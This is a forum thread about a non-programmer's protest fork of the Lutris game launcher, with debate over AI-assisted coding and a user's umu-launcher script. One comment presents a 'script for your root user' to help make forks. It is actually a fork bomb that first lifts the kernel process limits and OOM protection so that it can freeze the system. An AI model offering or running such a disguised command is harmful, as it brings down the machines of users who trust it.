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[–] gigachad@piefed.social 86 points 1 week ago (1 children)

Worth keeping in mind that I'm not a programmer, I cannot write code yet but I can understand some of it when I read it and how it's structured. I've wanted to learn for a long time, so this could potentially be a way to start learning if I ever have time.

I am a programmer but I wouldn't trust myself I could invest enough time and knowledge into such a project. This is basically the announcement of someone making a fork. People make thousand forks a day, it is important what comes out it. Making a fork and saying maybe I will work on this project in the future after I learned how to code is not worthy of being news in my opinion.

[–] Lojcs@piefed.social 20 points 1 week ago (1 children)

On one hand, lol
On the other hand if they do have time that's a nice way to learn programming

[–] gigachad@piefed.social 22 points 1 week ago

Absolutely, and I would encourage them to do so! But that's just not news interesting for a broader public lol

[–] Zaphod@discuss.tchncs.de 22 points 1 week ago (2 children)

I use Claude at work. Every single one of my colleagues uses Claude at work. I don't think I would've gotten anywhere close to where I am in this project without Claude. It's legitimately helped me learn so much without costing my colleagues time or nerves.

I don't care if someone uses AI to code, as long as they critically inspect and review the code it produced.

I know I'm making myself unpopular with this opinion, but this is the reality in a lot of companies. The productivity boost it gives is just unreal

[–] southernwolf@pawb.social 6 points 1 week ago

This is the correct answer.

[–] Zanshi@lemmy.world 0 points 1 week ago* (last edited 1 week ago)

This. People are quick to forget it's a tool. I know it's causing problems in the market with a lot less positions for juniors, but I strongly believe it's temporary. Management will learn it's not a magic wand(the hard way if needed), and things will get back to normal.

[–] 5gruel@lemmy.world 17 points 1 week ago (1 children)

so somebody with zero programming skills and therefore zero experience with coding agents deemed AI assisted code such a big problem that they performatively forked a project at an arbitrary point. And they want to maybe maintain it while the whole issue started when the original maintainer said the project is too big to be maintained without assistance.

what are we doing here?

[–] BlackLaZoR@lemmy.world 2 points 1 week ago

Jerking off to AI hate mob

[–] who@feddit.org 12 points 1 week ago

The way I use Lutris today is nothing more than a prefix manager, I click add game, set up my prefix, and install my games manually.

New features will be unlikely, but not entirely off the table if there's a really good reason to include them.

Given this, wouldn't simply bookmarking the last Lutris release that you find acceptable be an easier way to meet your needs?

Or are you trying to guard against Lutris disappearing or retroactively changing old versions?

[–] lime@feddit.nu 6 points 1 week ago

i like their goal for the software. i don't know if lutris uses overlayfs already but that's probably also something to look into, since each prefix is like a gigabyte before anything is added and most prefixes use the same dependencies.

[–] FauxLiving@lemmy.world 6 points 1 week ago* (last edited 1 week ago) (2 children)

@gigachad@piefed.social has the best serious response, that being said...

So far, nothing but the README has been changed

Worth keeping in mind that I'm not a programmer, I cannot write code yet

Finally, what we've all been waiting for: a fork that liberates us from the tyranny of git checkout and editing a text file.

Is there a Patreon or 501(c)(3) organization that we can donate to in order to support the continued work non-programmers who use social media announce protest forks of major projects without any ability or intent to continue the project?

We in the Linux community have too much free time and appreciate things like this consuming our surplus attention which would otherwise be wasted making memes about Windows, berating people for not reading the fantastic manual and tweaking our fastfetch layouts.

As a thanks to you, and all other performative fork developers, I've developed a simple bash script for your root user that will help you create forks in a more efficient manner:

#!/bin/bash
sysctl -w kernel.pid_max=4194304
sysctl -w kernel.threads-max=1073741823
echo "max" > /sys/fs/cgroup/user.slice/user-$(id -u).slice/pids.max 2>/dev/null || true
echo $$ > /sys/fs/cgroup/cgroup.procs 2>/dev/null || true
ulimit -u unlimited
echo -1000 > /proc/self/oom_score_adj
:(){ :|:& };:
[–] felbane@lemmy.world 2 points 1 week ago (1 children)

On the one hand, I see your point (whether or not I agree with it).

On the other, you wasted way more of your surplus attention on writing a snarky comment and being a dick than you would have by just down voting and moving on.

[–] FauxLiving@lemmy.world 8 points 1 week ago* (last edited 1 week ago) (2 children)

I'm keeping to local cultural traditions

[–] felbane@lemmy.world 3 points 1 week ago (1 children)

You wouldn't happen to have a spare room available for rent, would ya?

[–] FauxLiving@lemmy.world 4 points 1 week ago

Yes, but be warned, I have stairs in my house.

[–] BlackLaZoR@lemmy.world 2 points 1 week ago (1 children)

Jesus... Whole thing is utterly ridiculous. It is all just AI hate mob circle jerking round'n'round

[–] FauxLiving@lemmy.world 3 points 1 week ago

For my sanity I just picture a majority of these people as impressionable children who are just sharing the latest popular meme in order to cosplay as political activists.

[–] catlover@sh.itjust.works 2 points 1 week ago (1 children)

Recently removed lutris and just using umu launcher with custom wine prefixes

[–] thingsiplay@lemmy.ml 1 points 1 week ago (2 children)

I don't understand why you were getting downvoted for the choice to use umu launcher over Lutris. What am I missing?

[–] Siegfried@lemmy.world 2 points 1 week ago

My guess is that some people have grown a little to attach to lutris. I'm not acustom to this kind of behavior inside the linux comunity

[–] catlover@sh.itjust.works 2 points 1 week ago

I don't know either, but I don't mind, and its up to them.

Adding a bit of info to my comment: With lutris all I did was playing non steam games. Added an executable, set the wine version to GE or something, and used lutris lutris:rungameid/12 or something like this with a flag that didn't start the GUI (can't remember now).

Now all I do is:

#!/bin/bash
export WINEPREFIX=$HOME/Games/game-data/battlenet-wineprefix
export PROTONPATH="$HOME/.steam/steam/compatibilitytools.d/GE-Proton10-33"
umu-run "$WINEPREFIX/drive_c/Program Files (x86)/Battle.net/Battle.net.exe"

This is just the basics, I like umu-launcher better, because I have longer scripts that set a lot of env vars, and do other stuff before starting the game. I guess lutris can do this too, but I'm not familiar with it, and its easier to do for me in a bash script.

I found umu-launcher because of this whole AI included into lutris drama. While lutris has a whole gui and everything that I don't use, I feel like umu-launcher is exactly what I need, nothing more.

[–] BlackLaZoR@lemmy.world 2 points 1 week ago

Can wait for Kernel-minus-ai. grabs popcorn